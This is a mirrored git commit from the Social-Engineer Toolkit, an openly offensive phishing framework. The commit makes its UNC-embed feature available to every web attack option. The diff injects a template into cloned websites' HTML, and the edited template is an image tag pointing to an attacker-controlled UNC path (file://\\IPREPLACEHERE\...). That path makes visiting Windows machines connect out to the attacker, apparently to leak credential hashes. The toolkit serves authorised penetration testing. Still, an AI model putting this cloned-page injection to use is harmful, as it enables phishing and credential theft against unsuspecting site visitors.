mirror of
https://github.com/trustedsec/social-engineer-toolkit
synced 2024-11-23 21:13:05 +00:00
Added ability to use UNC_EMBED with any of the web attack options
This commit is contained in:
parent
e1c52ca0d5
commit
3a0f152950
3 changed files with 22 additions and 13 deletions
|
@ -223,7 +223,7 @@ def print_error(message):
|
|||
print bcolors.RED + bcolors.BOLD + "[!] " + bcolors.ENDC + bcolors.RED + str(message) + bcolors.ENDC
|
||||
|
||||
def get_version():
|
||||
define_version = '4.4.1'
|
||||
define_version = '4.4.2'
|
||||
return define_version
|
||||
|
||||
class create_menu:
|
||||
|
|
|
@ -197,6 +197,26 @@ try:
|
|||
|
||||
if site_cloned == True:
|
||||
|
||||
# if we specify UNC embedding
|
||||
if unc_embed == True:
|
||||
fileopen=file("src/program_junk/web_clone/index.html","r")
|
||||
index_database = fileopen.read()
|
||||
filewrite = file("src/program_junk/web_clone/index.html", "w")
|
||||
|
||||
## Open the UNC EMBED
|
||||
fileopen4=file("src/webattack/web_clone/unc.database", "r")
|
||||
unc_database = fileopen4.read()
|
||||
unc_database = unc_database.replace("IPREPLACEHERE", ipaddr)
|
||||
unc_database = unc_database.replace("RANDOMNAME", rand_gen_win)
|
||||
match = re.search("</body.*?>", index_database)
|
||||
if match:
|
||||
index_database = re.sub("</body.*?>", unc_database + "\n</body>", index_database)
|
||||
if not match:
|
||||
index_database = re.sub("<head.*?>", "\n<head>" + unc_database, index_database)
|
||||
|
||||
filewrite.write(index_database)
|
||||
filewrite.close()
|
||||
|
||||
## java applet attack vector
|
||||
|
||||
## check for java flag for multi attack
|
||||
|
@ -221,8 +241,6 @@ try:
|
|||
## Write to new file with java applet added
|
||||
filewrite=file("src/program_junk/web_clone/index.html.new", "w")
|
||||
fileopen3=file("src/webattack/web_clone/repeater.database", "r")
|
||||
## Open the UNC EMBED
|
||||
fileopen4=file("src/webattack/web_clone/unc.database", "r")
|
||||
|
||||
## this is our cloned website
|
||||
index_database = fileopen.read()
|
||||
|
@ -230,8 +248,6 @@ try:
|
|||
applet_database = fileopen2.read()
|
||||
## this is our repeater database
|
||||
repeater_database = fileopen3.read()
|
||||
## this is our unc database
|
||||
unc_database = fileopen4.read()
|
||||
|
||||
## here we begin replacing specifics in order to prep java applet payload
|
||||
applet_database = applet_database.replace("msf.exe", rand_gen_win)
|
||||
|
@ -270,13 +286,6 @@ try:
|
|||
if not match:
|
||||
index_database = re.sub("<head.*?>", "\n<head>" + repeater_database, index_database)
|
||||
|
||||
if unc_embed == True:
|
||||
match = re.search("</body.*?>", index_database)
|
||||
if match:
|
||||
index_database = re.sub("</body.*?>", unc_database + "\n</body>", index_database)
|
||||
if not match:
|
||||
index_database = re.sub("<head.*?>", "\n<head>" + unc_database, index_database)
|
||||
|
||||
counter = 0
|
||||
## confirm we can find body
|
||||
match = re.search("</body.*?>", index_database)
|
||||
|
|
|
@ -1 +1 @@
|
|||
<img src="file://\\IPREPLACEHERE\RANDOMNAME.jpg">
|
||||
<img src="file://\\\\IPREPLACEHERE\\RANDOMNAME.jpg">
|
||||
|
|
Loading…
Reference in a new issue